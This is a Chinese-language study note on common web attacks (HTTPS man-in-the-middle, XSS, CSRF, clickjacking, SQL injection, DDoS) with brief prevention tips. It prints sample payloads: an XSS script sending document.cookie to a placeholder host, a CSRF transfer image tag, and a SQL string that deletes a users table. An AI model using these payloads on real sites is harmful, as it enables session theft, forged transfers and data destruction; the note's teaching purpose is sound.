什么是https中间人攻击
攻击步骤
- 黑客自己先准被一套
公钥b和私钥b - 当服务器将
公钥a发给客户端时, 黑客将公钥a劫持换成公钥b - 此时客户端拿到的公钥是
公钥b - 客户端使用
公钥b对数据进行加密, 发送给服务端 - 黑客将加密数据劫持, 使用
私钥b对加密数据进行解密
预防:
使用正规厂商的数字证书
XSS攻击
- 问
- 什么是 XSS 攻击?
- 如何防范 XSS 攻击?
- 什么是 CSP?
什么是 XSS 攻击?
XSS 简单点来说,就是攻击者想尽一切办法将可以执行的代码注入到网页中。
攻击方式举例01
- 修改 URL 参数的方式加入攻击代码
- 一般就是诱导你点击某个链接
http://www.domain.com?name=<script>alert(1)</script>
攻击方式举例02
- 通过提交评论注入代码
- 提交的评论将会被注入到数据库中
- 所有加载了这条评论的人都会受到攻击
- 这种攻击属于持久形, 比上一种攻击方式危害更大
盗取cookie
const str = `
123xxx rewr sfdds, wer ...
<script>
var img = document.createElement('image')
img.src='https://xxx.com/api/xxx?cookie=${document.cookie}'
</script>
`
如何防止XSS攻击
方法一: 转义字符
首先,对于用户的输入应该是永远不信任的。最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义
<script>alert(1)</script>
// ---转义--->
<script>alert(1)</script>
方法二: CSP
CSP 本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击。
CSRF
攻击步骤
- 用户登录可信网站A(如银行网站),生成身份验证Cookie并保存在浏览器中
- 用户未退出A时访问恶意网站B:B页面嵌入伪造请求(如自动提交的表单或
<img>标签) - 浏览器自动发送请求到A:携带用户Cookie,以用户权限执行操作(如转账、改密)
- 网站A执行恶意操作:因请求携带合法Cookie,服务器误判为用户自愿操作
攻击类型
- GET型:通过
<img>标签伪造请求(例:<img src="http://bank.com/transfer?to=hacker&amount=1000">) - POST型:隐藏表单自动提交(例:伪造转账表单 + JavaScript自动提交)
预防
严格的跨域限制 + 验证码机制
点击劫持
攻击方式
- 点击劫持(Clickjacking),也称为 UI-覆盖攻击 或 界面伪装攻击
- 攻击者创建一个看似无害的诱饵页面(如游戏、抽奖活动),并在其上层覆盖一个透明的
<iframe>,其中嵌入目标网站(如银行、社交平台)的敏感操作页面(如转账按钮)
预防
- 静止我的网站(如银行网站)被嵌入到iframe
- 敏感操作(例如转账)需要验证码
SQL注入
- 将用户名设置成:
'; delete from users; --
// 查询用户
select * from users where username='jack' and pword='123'
// 我们将用户名 'jack' 改成如下字符串
`'; delete from users; -- `
// 当查询用户时, sql语句会变成
select * from users where username=''; delete from users; -- and pword='123'
// 导致数据表被删
- 预防: 替换特殊字符串
DDoS
- 分布式, 大规模的流量访问, 使服务器瘫痪
- 预防: 软件层不好做, 需要硬件预防(如阿里云WAF)